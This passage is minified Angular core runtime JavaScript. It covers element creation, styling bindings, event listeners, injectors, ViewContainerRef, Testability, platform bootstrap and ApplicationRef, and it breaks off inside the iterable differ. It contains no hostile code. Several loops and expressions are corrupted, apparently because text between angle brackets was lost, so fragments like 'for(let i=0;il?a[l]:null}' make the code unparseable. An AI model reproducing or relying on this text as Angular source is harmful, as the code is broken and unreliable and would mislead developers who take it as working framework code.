Ue(o,Nr(),t)&&(W(),en(me(),o,e,t,r,n)),Bt}function At(e,t,r,n,o,i,s,a){const l=_(),u=W(),c=e+G,d=u.firstCreatePass?function NT(e,t,r,n,o,i,s,a,l){const u=t.consts,c=Xr(t,e,4,s||null,Pn(u,a));Vc(t,r,c,Pn(u,l)),As(t,c);const d=c.tView=Lc(2,c,n,o,i,t.directiveRegistry,t.pipeRegistry,null,t.schemas,u,null);return null!==t.queries&&(t.queries.template(t,c),d.queries=t.queries.embeddedTView(c)),c}(c,u,l,t,r,n,o,i,s):u.data[c];Jt(d,!1);const f=Ov(u,l,d,e);Ss()&&Qs(u,l,f,d),$e(f,l),ga(l,l[c]=nv(f,l,f,d)),bs(d)&&Fc(u,l,d),null!=s&&kc(l,d,a)}let Ov=function Pv(e,t,r,n){return Fn(!0),t[V].createComment("")};function ee(e,t,r){const n=_();return Ue(n,Nr(),t)&&function vt(e,t,r,n,o,i,s,a){const l=ot(t,r);let c,u=t.inputs;!a&&null!=u&&(c=u[n])?($c(e,r,c,n,o),Kn(t)&&function EA(e,t){const r=ft(t,e);16&r[B]||(r[B]|=64)}(r,t.index)):3&t.type&&(n=function bA(e){return"class"===e?"className":"for"===e?"htmlFor":"formaction"===e?"formAction":"innerHtml"===e?"innerHTML":"readonly"===e?"readOnly":"tabindex"===e?"tabIndex":e}(n),o=null!=s?s(o,t.value||"",n):o,i.setProperty(l,n,o))}(W(),me(),n,e,t,n[V],r,!1),ee}function Qc(e,t,r,n,o){const s=o?"class":"style";$c(e,r,t.inputs[s],s,n)}function w(e,t,r,n){const o=_(),i=W(),s=G+e,a=o[V],l=i.firstCreatePass?function FT(e,t,r,n,o,i){const s=t.consts,l=Xr(t,e,2,n,Pn(s,o));return Vc(t,r,l,Pn(s,i)),null!==l.attrs&&ma(l,l.attrs,!1),null!==l.mergedAttrs&&ma(l,l.mergedAttrs,!0),null!==t.queries&&t.queries.elementStart(t,l),l}(s,i,o,t,r,n):i.data[s],u=Fv(i,o,l,a,t,e);o[s]=u;const c=bs(l);return Jt(l,!0),Yg(a,u,l),32!=(32&l.flags)&&Ss()&&Qs(i,o,u,l),0===function cM(){return P.lFrame.elementDepthCount}()&&$e(u,o),function dM(){P.lFrame.elementDepthCount++}(),c&&(Fc(i,o,l),Pc(i,l,o)),null!==n&&kc(o,l),w}function b(){let e=Ve();Cu()?function wu(){P.lFrame.isParent=!1}():(e=e.parent,Jt(e,!1));const t=e;(function hM(e){return P.skipHydrationRootTNode===e})(t)&&function vM(){P.skipHydrationRootTNode=null}(),function fM(){P.lFrame.elementDepthCount--}();const r=W();return r.firstCreatePass&&(As(r,e),fu(e)&&r.queries.elementEnd(e)),null!=t.classesWithoutHost&&function RM(e){return 0!=(8&e.flags)}(t)&&Qc(r,t,_(),t.classesWithoutHost,!0),null!=t.stylesWithoutHost&&function OM(e){return 0!=(16&e.flags)}(t)&&Qc(r,t,_(),t.stylesWithoutHost,!1),b}function Me(e,t,r,n){return w(e,t,r,n),b(),Me}let Fv=(e,t,r,n,o,i)=>(Fn(!0),Ws(n,o,function Xp(){return P.lFrame.currentNamespace}()));function wi(){return _()}function bi(e){return!!e&&"function"==typeof e.then}function Vv(e){return!!e&&"function"==typeof e.subscribe}function re(e,t,r,n){const o=_(),i=W(),s=Ve();return function Bv(e,t,r,n,o,i,s){const a=bs(n),u=e.firstCreatePass&&function iv(e){return e.cleanup||(e.cleanup=[])}(e),c=t[Ce],d=function ov(e){return e[wr]||(e[wr]=[])}(t);let f=!0;if(3&n.type||s){const g=ot(n,t),v=s?s(g):g,y=d.length,m=s?A=>s(ce(A[n.index])):n.index;let T=null;if(!s&&a&&(T=function HT(e,t,r,n){const o=e.cleanup;if(null!=o)for(let i=0;il?a[l]:null}"string"==typeof s&&(i+=2)}return null}(e,t,o,n.index)),null!==T)(T.__ngLastListenerFn__||T).__ngNextListenerFn__=i,T.__ngLastListenerFn__=i,f=!1;else{i=$v(n,t,c,i,!1);const A=r.listen(v,o,i);d.push(i,A),u&&u.push(o,m,y,y+1)}}else i=$v(n,t,c,i,!1);const h=n.outputs;let p;if(f&&null!==h&&(p=h[o])){const g=p.length;if(g)for(let v=0;v-1?ft(e.index,t):t);let l=Hv(t,r,n,s),u=i.__ngNextListenerFn__;for(;u;)l=Hv(t,r,u,s)&&l,u=u.__ngNextListenerFn__;return o&&!1===l&&s.preventDefault(),l}}function se(e=1){return function bM(e){return(P.lFrame.contextLView=function EM(e,t){for(;e>0;)t=t[Er],e--;return t}(e,P.lFrame.contextLView))[Ce]}(e)}function Ea(e,t){return e<<17|t<<2}function Vn(e){return e>>17&32767}function ed(e){return 2|e}function ar(e){return(131068&e)>>2}function td(e,t){return-131069&e|t<<2}function nd(e){return 1|e}function Jv(e,t,r,n,o){const i=e[r+1],s=null===t;let a=n?Vn(i):ar(i),l=!1;for(;0!==a&&(!1===l||s);){const c=e[a+1];QT(e[a],t)&&(l=!0,e[a+1]=n?nd(c):ed(c)),a=n?Vn(c):ar(c)}l&&(e[r+1]=n?ed(i):nd(i))}function QT(e,t){return null===e||null==t||(Array.isArray(e)?e[1]:e)===t||!(!Array.isArray(e)||"string"!=typeof t)&&Vr(e,t)>=0}function rd(e,t,r){return Ht(e,t,r,!1),rd}function Ma(e,t){return Ht(e,t,null,!0),Ma}function Ht(e,t,r,n){const o=_(),i=W(),s=function hn(e){const t=P.lFrame,r=t.bindingIndex;return t.bindingIndex=t.bindingIndex+e,r}(2);i.firstUpdatePass&&function sy(e,t,r,n){const o=e.data;if(null===o[r+1]){const i=o[Ye()],s=function iy(e,t){return t>=e.expandoStartIndex}(e,r);(function cy(e,t){return 0!=(e.flags&(t?8:16))})(i,n)&&null===t&&!s&&(t=!1),t=function i1(e,t,r,n){const o=function Eu(e){const t=P.lFrame.currentDirectiveIndex;return-1===t?null:e[t]}(e);let i=n?t.residualClasses:t.residualStyles;if(null===o)0===(n?t.classBindings:t.styleBindings)&&(r=Ei(r=od(null,e,t,r,n),t.attrs,n),i=null);else{const s=t.directiveStylingLast;if(-1===s||e[s]!==o)if(r=od(o,e,t,r,n),null===i){let l=function s1(e,t,r){const n=r?t.classBindings:t.styleBindings;if(0!==ar(n))return e[Vn(n)]}(e,t,n);void 0!==l&&Array.isArray(l)&&(l=od(null,e,t,l[1],n),l=Ei(l,t.attrs,n),function a1(e,t,r,n){e[Vn(r?t.classBindings:t.styleBindings)]=n}(e,t,n,l))}else i=function l1(e,t,r){let n;const o=t.directiveEnd;for(let i=1+t.directiveStylingLast;i0)&&(u=!0)):c=r,o)if(0!==l){const f=Vn(e[a+1]);e[n+1]=Ea(f,a),0!==f&&(e[f+1]=td(e[f+1],n)),e[a+1]=function qT(e,t){return 131071&e|t<<17}(e[a+1],n)}else e[n+1]=Ea(a,0),0!==a&&(e[a+1]=td(e[a+1],n)),a=n;else e[n+1]=Ea(l,0),0===a?a=n:e[l+1]=td(e[l+1],n),l=n;u&&(e[n+1]=ed(e[n+1])),Jv(e,c,n,!0),Jv(e,c,n,!1),function YT(e,t,r,n,o){const i=o?e.residualClasses:e.residualStyles;null!=i&&"string"==typeof t&&Vr(i,t)>=0&&(r[n+1]=nd(r[n+1]))}(t,c,e,n,i),s=Ea(a,l),i?t.classBindings=s:t.styleBindings=s}(o,i,t,r,s,n)}}(i,e,s,n),t!==j&&Ue(o,s,t)&&function ly(e,t,r,n,o,i,s,a){if(!(3&t.type))return;const l=e.data,u=l[a+1],c=function WT(e){return 1==(1&e)}(u)?uy(l,t,r,o,ar(u),s):void 0;Ia(c)||(Ia(i)||function GT(e){return 2==(2&e)}(u)&&(i=uy(l,null,r,o,a,s)),function zI(e,t,r,n,o){if(t)o?e.addClass(r,n):e.removeClass(r,n);else{let i=-1===n.indexOf("-")?void 0:kn.DashCase;null==o?e.removeStyle(r,n,i):("string"==typeof o&&o.endsWith("!important")&&(o=o.slice(0,-10),i|=kn.Important),e.setStyle(r,n,o,i))}}(n,s,Is(Ye(),r),o,i))}(i,i.data[Ye()],o,o[V],e,o[s+1]=function f1(e,t){return null==e||""===e||("string"==typeof t?e+=t:"object"==typeof e&&(e=Te(Ln(e)))),e}(t,r),n,s)}function od(e,t,r,n,o){let i=null;const s=r.directiveEnd;let a=r.directiveStylingLast;for(-1===a?a=r.directiveStart:a++;a0;){const l=e[o],u=Array.isArray(l),c=u?l[1]:l,d=null===c;let f=r[o+1];f===j&&(f=d?Z:void 0);let h=d?ku(f,n):c===n?f:void 0;if(u&&!Ia(h)&&(h=ku(l,n)),Ia(h)&&(a=h,s))return a;const p=e[o+1];o=s?Vn(p):ar(p)}if(null!==t){let l=i?t.residualClasses:t.residualStyles;null!=l&&(a=ku(l,n))}return a}function Ia(e){return void 0!==e}function S(e,t=""){const r=_(),n=W(),o=e+G,i=n.firstCreatePass?Xr(n,o,1,t,null):n.data[o],s=dy(n,r,i,t,e);r[o]=s,Ss()&&Qs(n,r,s,i),Jt(i,!1)}let dy=(e,t,r,n,o)=>(Fn(!0),function qs(e,t){return e.createText(t)}(t[V],n));function jn(e,t,r){const n=_(),o=function Kr(e,t,r,n){return Ue(e,Nr(),r)?t+L(r)+n:j}(n,e,t,r);return o!==j&&function yn(e,t,r){const n=Is(t,e);!function kg(e,t,r){e.setValue(t,r)}(e[V],n,r)}(n,Ye(),o),jn}const uo="en-US";let Py=uo;function ad(e,t,r,n,o){if(e=F(e),Array.isArray(e))for(let i=0;i>20;if(or(e)||!e.multi){const h=new Yo(u,o,C),p=ud(l,t,o?c:c+f,d);-1===p?(Ou(Rs(a,s),i,l),ld(i,e,t.length),t.push(l),a.directiveStart++,a.directiveEnd++,o&&(a.providerIndexes+=1048576),r.push(h),s.push(h)):(r[p]=h,s[p]=h)}else{const h=ud(l,t,c+f,d),p=ud(l,t,c,c+f),v=p>=0&&r[p];if(o&&!v||!o&&!(h>=0&&r[h])){Ou(Rs(a,s),i,l);const y=function ON(e,t,r,n,o){const i=new Yo(e,r,C);return i.multi=[],i.index=t,i.componentProviders=0,i_(i,o,n&&!r),i}(o?RN:xN,r.length,o,n,u);!o&&v&&(r[p].providerFactory=y),ld(i,e,t.length,0),t.push(l),a.directiveStart++,a.directiveEnd++,o&&(a.providerIndexes+=1048576),r.push(y),s.push(y)}else ld(i,e,h>-1?h:p,i_(r[o?p:h],u,!o&&n));!o&&n&&v&&r[p].componentProviders++}}}function ld(e,t,r,n){const o=or(t),i=function DS(e){return!!e.useClass}(t);if(o||i){const l=(i?F(t.useClass):t).prototype.ngOnDestroy;if(l){const u=e.destroyHooks||(e.destroyHooks=[]);if(!o&&t.multi){const c=u.indexOf(r);-1===c?u.push(r,[n,l]):u[c+1].push(n,l)}else u.push(r,l)}}}function i_(e,t,r){return r&&e.componentProviders++,e.multi.push(t)-1}function ud(e,t,r,n){for(let o=r;o{r.providersResolver=(n,o)=>function NN(e,t,r){const n=W();if(n.firstCreatePass){const o=jt(e);ad(r,n.data,n.blueprint,o,!0),ad(t,n.data,n.blueprint,o,!1)}}(n,o?o(e):e,t)}}class ur{}class s_{}class dd extends ur{constructor(t,r,n){super(),this._parent=r,this._bootstrapComponents=[],this.destroyCbs=[],this.componentFactoryResolver=new pv(this);const o=dt(t);this._bootstrapComponents=vn(o.bootstrap),this._r3Injector=Sm(t,r,[{provide:ur,useValue:this},{provide:da,useValue:this.componentFactoryResolver},...n],Te(t),new Set(["environment"])),this._r3Injector.resolveInjectorInitializers(),this.instance=this._r3Injector.get(t)}get injector(){return this._r3Injector}destroy(){const t=this._r3Injector;!t.destroyed&&t.destroy(),this.destroyCbs.forEach(r=>r()),this.destroyCbs=null}onDestroy(t){this.destroyCbs.push(t)}}class fd extends s_{constructor(t){super(),this.moduleType=t}create(t){return new dd(this.moduleType,t,[])}}class a_ extends ur{constructor(t){super(),this.componentFactoryResolver=new pv(this),this.instance=null;const r=new oa([...t.providers,{provide:ur,useValue:this},{provide:da,useValue:this.componentFactoryResolver}],t.parent||ra(),t.debugName,new Set(["environment"]));this.injector=r,t.runEnvironmentInitializers&&r.resolveInjectorInitializers()}destroy(){this.injector.destroy()}onDestroy(t){this.injector.onDestroy(t)}}function hd(e,t,r=null){return new a_({providers:e,parent:t,debugName:r,runEnvironmentInitializers:!0}).injector}let kN=(()=>{var e;class t{constructor(n){this._injector=n,this.cachedInjectors=new Map}getOrCreateStandaloneInjector(n){if(!n.standalone)return null;if(!this.cachedInjectors.has(n)){const o=cm(0,n.type),i=o.length>0?hd([o],this._injector,`Standalone[${n.type.name}]`):null;this.cachedInjectors.set(n,i)}return this.cachedInjectors.get(n)}ngOnDestroy(){try{for(const n of this.cachedInjectors.values())null!==n&&n.destroy()}finally{this.cachedInjectors.clear()}}}return(e=t).\u0275prov=x({token:e,providedIn:"environment",factory:()=>new e(N(pt))}),t})();function l_(e){e.getStandaloneInjector=t=>t.get(kN).getOrCreateStandaloneInjector(e)}function g_(e,t,r){const n=function Ze(){const e=P.lFrame;let t=e.bindingRootIndex;return-1===t&&(t=e.bindingRootIndex=e.tView.bindingStartIndex),t}()+e,o=_();return o[n]===j?function tn(e,t,r){return e[t]=r}(o,n,r?t.call(r):t()):function yi(e,t){return e[t]}(o,n)}function ux(e,t,r,n=!0){const o=t[E];if(function kI(e,t,r,n){const o=ke+n,i=r.length;n>0&&(r[o-1][Vt]=t),n{class t{}return t.__NG_ELEMENT_ID__=fx,t})();const cx=_n,dx=class extends cx{constructor(t,r,n){super(),this._declarationLView=t,this._declarationTContainer=r,this.elementRef=n}get ssrId(){return this._declarationTContainer.tView?.ssrId||null}createEmbeddedView(t,r){return this.createEmbeddedViewImpl(t,r)}createEmbeddedViewImpl(t,r,n){const o=function lx(e,t,r,n){const o=t.tView,a=pa(e,o,r,4096&e[B]?4096:16,null,t,null,null,null,n?.injector??null,n?.hydrationInfo??null);a[$o]=e[t.index];const u=e[Yt];return null!==u&&(a[Yt]=u.createEmbeddedView(o)),Uc(o,a,r),a}(this._declarationLView,this._declarationTContainer,t,{injector:r,hydrationInfo:n});return new mi(o)}};function fx(){return function xa(e,t){return 4&e.type?new dx(t,e,Zr(e,t)):null}(Ve(),_())}let Ut=(()=>{class t{}return t.__NG_ELEMENT_ID__=yx,t})();function yx(){return function S_(e,t){let r;const n=t[e.index];return We(n)?r=n:(r=nv(n,t,null,e),t[e.index]=r,ga(t,r)),A_(r,t,e,n),new M_(r,e,t)}(Ve(),_())}const _x=Ut,M_=class extends _x{constructor(t,r,n){super(),this._lContainer=t,this._hostTNode=r,this._hostLView=n}get element(){return Zr(this._hostTNode,this._hostLView)}get injector(){return new Qe(this._hostTNode,this._hostLView)}get parentInjector(){const t=Os(this._hostTNode,this._hostLView);if(Nu(t)){const r=Xo(t,this._hostLView),n=Qo(t);return new Qe(r[E].data[n+8],r)}return new Qe(null,this._hostLView)}clear(){for(;this.length>0;)this.remove(this.length-1)}get(t){const r=I_(this._lContainer);return null!==r&&r[t]||null}get length(){return this._lContainer.length-ke}createEmbeddedView(t,r,n){let o,i;"number"==typeof n?o=n:null!=n&&(o=n.index,i=n.injector);const a=t.createEmbeddedViewImpl(r||{},i,null);return this.insertImpl(a,o,false),a}createComponent(t,r,n,o,i){const s=t&&!function Ko(e){return"function"==typeof e}(t);let a;if(s)a=r;else{const g=r||{};a=g.index,n=g.injector,o=g.projectableNodes,i=g.environmentInjector||g.ngModuleRef}const l=s?t:new vi(q(t)),u=n||this.parentInjector;if(!i&&null==l.ngModule){const v=(s?u:this.parentInjector).get(pt,null);v&&(i=v)}q(l.componentType??{});const h=l.create(u,o,null,i);return this.insertImpl(h.hostView,a,false),h}insert(t,r){return this.insertImpl(t,r,!1)}insertImpl(t,r,n){const o=t._lView;if(function aM(e){return We(e[pe])}(o)){const l=this.indexOf(t);if(-1!==l)this.detach(l);else{const u=o[pe],c=new M_(u,u[He],u[pe]);c.detach(c.indexOf(t))}}const s=this._adjustIndex(r),a=this._lContainer;return ux(a,o,s,!n),t.attachToViewContainerRef(),fg(md(a),s,t),t}move(t,r){return this.insert(t,r)}indexOf(t){const r=I_(this._lContainer);return null!==r?r.indexOf(t):-1}remove(t){const r=this._adjustIndex(t,-1),n=Zs(this._lContainer,r);n&&(ks(md(this._lContainer),r),Wu(n[E],n))}detach(t){const r=this._adjustIndex(t,-1),n=Zs(this._lContainer,r);return n&&null!=ks(md(this._lContainer),r)?new mi(n):null}_adjustIndex(t,r=0){return t??this.length+r}};function I_(e){return e[8]}function md(e){return e[8]||(e[8]=[])}let A_=function T_(e,t,r,n){if(e[Qt])return;let o;o=8&r.type?ce(n):function Dx(e,t){const r=e[V],n=r.createComment(""),o=ot(t,e);return rr(r,Ys(r,o),n,function HI(e,t){return e.nextSibling(t)}(r,o),!1),n}(t,r),e[Qt]=o};const Sd=new I("Application Initializer");let Ad=(()=>{var e;class t{constructor(){this.initialized=!1,this.done=!1,this.donePromise=new Promise((n,o)=>{this.resolve=n,this.reject=o}),this.appInits=M(Sd,{optional:!0})??[]}runInitializers(){if(this.initialized)return;const n=[];for(const i of this.appInits){const s=i();if(bi(s))n.push(s);else if(Vv(s)){const a=new Promise((l,u)=>{s.subscribe({complete:l,error:u})});n.push(a)}}const o=()=>{this.done=!0,this.resolve()};Promise.all(n).then(()=>{o()}).catch(i=>{this.reject(i)}),0===n.length&&o(),this.initialized=!0}}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275prov=x({token:e,factory:e.\u0275fac,providedIn:"root"}),t})(),eD=(()=>{var e;class t{log(n){console.log(n)}warn(n){console.warn(n)}}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275prov=x({token:e,factory:e.\u0275fac,providedIn:"platform"}),t})();const Dn=new I("LocaleId",{providedIn:"root",factory:()=>M(Dn,z.Optional|z.SkipSelf)||function Xx(){return typeof $localize<"u"&&$localize.locale||uo}()});let Pa=(()=>{var e;class t{constructor(){this.taskId=0,this.pendingTasks=new Set,this.hasPendingTasks=new Ct(!1)}add(){this.hasPendingTasks.next(!0);const n=this.taskId++;return this.pendingTasks.add(n),n}remove(n){this.pendingTasks.delete(n),0===this.pendingTasks.size&&this.hasPendingTasks.next(!1)}ngOnDestroy(){this.pendingTasks.clear(),this.hasPendingTasks.next(!1)}}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275prov=x({token:e,factory:e.\u0275fac,providedIn:"root"}),t})();class eR{constructor(t,r){this.ngModuleFactory=t,this.componentFactories=r}}let tD=(()=>{var e;class t{compileModuleSync(n){return new fd(n)}compileModuleAsync(n){return Promise.resolve(this.compileModuleSync(n))}compileModuleAndAllComponentsSync(n){const o=this.compileModuleSync(n),s=vn(dt(n).declarations).reduce((a,l)=>{const u=q(l);return u&&a.push(new vi(u)),a},[]);return new eR(o,s)}compileModuleAndAllComponentsAsync(n){return Promise.resolve(this.compileModuleAndAllComponentsSync(n))}clearCache(){}clearCacheFor(n){}getModuleId(n){}}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275prov=x({token:e,factory:e.\u0275fac,providedIn:"root"}),t})();const iD=new I(""),ka=new I("");let Od,xd=(()=>{var e;class t{constructor(n,o,i){this._ngZone=n,this.registry=o,this._pendingCount=0,this._isZoneStable=!0,this._didWork=!1,this._callbacks=[],this.taskTrackingZone=null,Od||(function DR(e){Od=e}(i),i.addToWindow(o)),this._watchAngularEvents(),n.run(()=>{this.taskTrackingZone=typeof Zone>"u"?null:Zone.current.get("TaskTrackingZone")})}_watchAngularEvents(){this._ngZone.onUnstable.subscribe({next:()=>{this._didWork=!0,this._isZoneStable=!1}}),this._ngZone.runOutsideAngular(()=>{this._ngZone.onStable.subscribe({next:()=>{de.assertNotInAngularZone(),queueMicrotask(()=>{this._isZoneStable=!0,this._runCallbacksIfReady()})}})})}increasePendingRequestCount(){return this._pendingCount+=1,this._didWork=!0,this._pendingCount}decreasePendingRequestCount(){if(this._pendingCount-=1,this._pendingCount<0)throw new Error("pending async requests below zero");return this._runCallbacksIfReady(),this._pendingCount}isStable(){return this._isZoneStable&&0===this._pendingCount&&!this._ngZone.hasPendingMacrotasks}_runCallbacksIfReady(){if(this.isStable())queueMicrotask(()=>{for(;0!==this._callbacks.length;){let n=this._callbacks.pop();clearTimeout(n.timeoutId),n.doneCb(this._didWork)}this._didWork=!1});else{let n=this.getPendingTasks();this._callbacks=this._callbacks.filter(o=>!o.updateCb||!o.updateCb(n)||(clearTimeout(o.timeoutId),!1)),this._didWork=!0}}getPendingTasks(){return this.taskTrackingZone?this.taskTrackingZone.macroTasks.map(n=>({source:n.source,creationLocation:n.creationLocation,data:n.data})):[]}addCallback(n,o,i){let s=-1;o&&o>0&&(s=setTimeout(()=>{this._callbacks=this._callbacks.filter(a=>a.timeoutId!==s),n(this._didWork,this.getPendingTasks())},o)),this._callbacks.push({doneCb:n,timeoutId:s,updateCb:i})}whenStable(n,o,i){if(i&&!this.taskTrackingZone)throw new Error('Task tracking zone is required when passing an update callback to whenStable(). Is "zone.js/plugins/task-tracking" loaded?');this.addCallback(n,o,i),this._runCallbacksIfReady()}getPendingRequestCount(){return this._pendingCount}registerApplication(n){this.registry.registerApplication(n,this)}unregisterApplication(n){this.registry.unregisterApplication(n)}findProviders(n,o,i){return[]}}return(e=t).\u0275fac=function(n){return new(n||e)(N(de),N(Rd),N(ka))},e.\u0275prov=x({token:e,factory:e.\u0275fac}),t})(),Rd=(()=>{var e;class t{constructor(){this._applications=new Map}registerApplication(n,o){this._applications.set(n,o)}unregisterApplication(n){this._applications.delete(n)}unregisterAllApplications(){this._applications.clear()}getTestability(n){return this._applications.get(n)||null}getAllTestabilities(){return Array.from(this._applications.values())}getAllRootElements(){return Array.from(this._applications.keys())}findTestabilityInTree(n,o=!0){return Od?.findTestabilityInTree(this,n,o)??null}}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275prov=x({token:e,factory:e.\u0275fac,providedIn:"platform"}),t})(),Bn=null;const sD=new I("AllowMultipleToken"),Pd=new I("PlatformDestroyListeners"),Fd=new I("appBootstrapListener");class lD{constructor(t,r){this.name=t,this.token=r}}function cD(e,t,r=[]){const n=`Platform: ${t}`,o=new I(n);return(i=[])=>{let s=kd();if(!s||s.injector.get(sD,!1)){const a=[...r,...i,{provide:o,useValue:!0}];e?e(a):function bR(e){if(Bn&&!Bn.get(sD,!1))throw new D(400,!1);(function aD(){!function q0(e){Ep=e}(()=>{throw new D(600,!1)})})(),Bn=e;const t=e.get(fD);(function uD(e){e.get(gm,null)?.forEach(r=>r())})(e)}(function dD(e=[],t){return mt.create({name:t,providers:[{provide:dc,useValue:"platform"},{provide:Pd,useValue:new Set([()=>Bn=null])},...e]})}(a,n))}return function MR(e){const t=kd();if(!t)throw new D(401,!1);return t}()}}function kd(){return Bn?.get(fD)??null}let fD=(()=>{var e;class t{constructor(n){this._injector=n,this._modules=[],this._destroyListeners=[],this._destroyed=!1}bootstrapModuleFactory(n,o){const i=function IR(e="zone.js",t){return"noop"===e?new nA:"zone.js"===e?new de(t):e}(o?.ngZone,function hD(e){return{enableLongStackTrace:!1,shouldCoalesceEventChangeDetection:e?.eventCoalescing??!1,shouldCoalesceRunChangeDetection:e?.runCoalescing??!1}}({eventCoalescing:o?.ngZoneEventCoalescing,runCoalescing:o?.ngZoneRunCoalescing}));return i.run(()=>{const s=function FN(e,t,r){return new dd(e,t,r)}(n.moduleType,this.injector,function yD(e){return[{provide:de,useFactory:e},{provide:ui,multi:!0,useFactory:()=>{const t=M(AR,{optional:!0});return()=>t.initialize()}},{provide:vD,useFactory:SR},{provide:Rm,useFactory:Om}]}(()=>i)),a=s.injector.get(mn,null);return i.runOutsideAngular(()=>{const l=i.onError.subscribe({next:u=>{a.handleError(u)}});s.onDestroy(()=>{La(this._modules,s),l.unsubscribe()})}),function pD(e,t,r){try{const n=r();return bi(n)?n.catch(o=>{throw t.runOutsideAngular(()=>e.handleError(o)),o}):n}catch(n){throw t.runOutsideAngular(()=>e.handleError(n)),n}}(a,i,()=>{const l=s.injector.get(Ad);return l.runInitializers(),l.donePromise.then(()=>(function Fy(e){wt(e,"Expected localeId to be defined"),"string"==typeof e&&(Py=e.toLowerCase().replace(/_/g,"-"))}(s.injector.get(Dn,uo)||uo),this._moduleDoBootstrap(s),s))})})}bootstrapModule(n,o=[]){const i=gD({},o);return function CR(e,t,r){const n=new fd(r);return Promise.resolve(n)}(0,0,n).then(s=>this.bootstrapModuleFactory(s,i))}_moduleDoBootstrap(n){const o=n.injector.get(ho);if(n._bootstrapComponents.length>0)n._bootstrapComponents.forEach(i=>o.bootstrap(i));else{if(!n.instance.ngDoBootstrap)throw new D(-403,!1);n.instance.ngDoBootstrap(o)}this._modules.push(n)}onDestroy(n){this._destroyListeners.push(n)}get injector(){return this._injector}destroy(){if(this._destroyed)throw new D(404,!1);this._modules.slice().forEach(o=>o.destroy()),this._destroyListeners.forEach(o=>o());const n=this._injector.get(Pd,null);n&&(n.forEach(o=>o()),n.clear()),this._destroyed=!0}get destroyed(){return this._destroyed}}return(e=t).\u0275fac=function(n){return new(n||e)(N(mt))},e.\u0275prov=x({token:e,factory:e.\u0275fac,providedIn:"platform"}),t})();function gD(e,t){return Array.isArray(t)?t.reduce(gD,e):{...e,...t}}let ho=(()=>{var e;class t{constructor(){this._bootstrapListeners=[],this._runningTick=!1,this._destroyed=!1,this._destroyListeners=[],this._views=[],this.internalErrorHandler=M(vD),this.zoneIsStable=M(Rm),this.componentTypes=[],this.components=[],this.isStable=M(Pa).hasPendingTasks.pipe(Pt(n=>n?R(!1):this.zoneIsStable),function n0(e,t=An){return e=e??r0,Se((r,n)=>{let o,i=!0;r.subscribe(Ee(n,s=>{const a=t(s);(i||!e(o,a))&&(i=!1,o=a,n.next(s))}))})}(),$h()),this._injector=M(pt)}get destroyed(){return this._destroyed}get injector(){return this._injector}bootstrap(n,o){const i=n instanceof Dm;if(!this._injector.get(Ad).done)throw!i&&function Cr(e){const t=q(e)||Fe(e)||qe(e);return null!==t&&t.standalone}(n),new D(405,!1);let a;a=i?n:this._injector.get(da).resolveComponentFactory(n),this.componentTypes.push(a.componentType);const l=function wR(e){return e.isBoundToModule}(a)?void 0:this._injector.get(ur),c=a.create(mt.NULL,[],o||a.selector,l),d=c.location.nativeElement,f=c.injector.get(iD,null);return f?.registerApplication(d),c.onDestroy(()=>{this.detachView(c.hostView),La(this.components,c),f?.unregisterApplication(d)}),this._loadComponent(c),c}tick(){if(this._runningTick)throw new D(101,!1);try{this._runningTick=!0;for(let n of this._views)n.detectChanges()}catch(n){this.internalErrorHandler(n)}finally{this._runningTick=!1}}attachView(n){const o=n;this._views.push(o),o.attachToAppRef(this)}detachView(n){const o=n;La(this._views,o),o.detachFromAppRef()}_loadComponent(n){this.attachView(n.hostView),this.tick(),this.components.push(n);const o=this._injector.get(Fd,[]);o.push(...this._bootstrapListeners),o.forEach(i=>i(n))}ngOnDestroy(){if(!this._destroyed)try{this._destroyListeners.forEach(n=>n()),this._views.slice().forEach(n=>n.destroy())}finally{this._destroyed=!0,this._views=[],this._bootstrapListeners=[],this._destroyListeners=[]}}onDestroy(n){return this._destroyListeners.push(n),()=>La(this._destroyListeners,n)}destroy(){if(this._destroyed)throw new D(406,!1);const n=this._injector;n.destroy&&!n.destroyed&&n.destroy()}get viewCount(){return this._views.length}warnIfDestroyed(){}}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275prov=x({token:e,factory:e.\u0275fac,providedIn:"root"}),t})();function La(e,t){const r=e.indexOf(t);r>-1&&e.splice(r,1)}const vD=new I("",{providedIn:"root",factory:()=>M(mn).handleError.bind(void 0)});function SR(){const e=M(de),t=M(mn);return r=>e.runOutsideAngular(()=>t.handleError(r))}let AR=(()=>{var e;class t{constructor(){this.zone=M(de),this.applicationRef=M(ho)}initialize(){this._onMicrotaskEmptySubscription||(this._onMicrotaskEmptySubscription=this.zone.onMicrotaskEmpty.subscribe({next:()=>{this.zone.run(()=>{this.applicationRef.tick()})}}))}ngOnDestroy(){this._onMicrotaskEmptySubscription?.unsubscribe()}}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275prov=x({token:e,factory:e.\u0275fac,providedIn:"root"}),t})();let Va=(()=>{class t{}return t.__NG_ELEMENT_ID__=NR,t})();function NR(e){return function xR(e,t,r){if(Kn(e)&&!r){const n=ft(e.index,t);return new mi(n,n)}return 47&e.type?new mi(t[we],t):null}(Ve(),_(),16==(16&e))}class wD{constructor(){}supports(t){return _a(t)}create(t){return new LR(t)}}const kR=(e,t)=>t;class LR{constructor(t){this.length=0,this._linkedRecords=null,this._unlinkedRecords=null,this._previousItHead=null,this._itHead=null,this._itTail=null,this._additionsHead=null,this._additionsTail=null,this._movesHead=null,this._movesTail=null,this._removalsHead=null,this._removalsTail=null,this._identityChangesHead=null,this._identityChangesTail=null,this._trackByFn=t||kR}forEachItem(t){let r;for(r=this._itHead;null!==r;r=r._next)t(r)}forEachOperation(t){let r=this._itHead,n=this._removalsHead,o=0,i=null;for(;r||n;){const s=!n||r&&r.currentIndex{s=this._trackByFn(o,a),null!==r&&Object.is(r.trackById,s)?(n&&(r=this._verifyReinsertion(r,a,s,o)),Object.is(r.item,a)||this._addIdentityChange(r,a)):(r=this._mismatch(r,a,s,o),n=!0),r=r._next,o++}),this.length=o;return this._truncate(r),this.collection=t,this.isDirty}get isDirty(){return null!==this._additionsHead||null!==this._movesHead||null!==this._removalsHead||null!==this._identityChangesHead}_reset(){if(this.isDirty){let 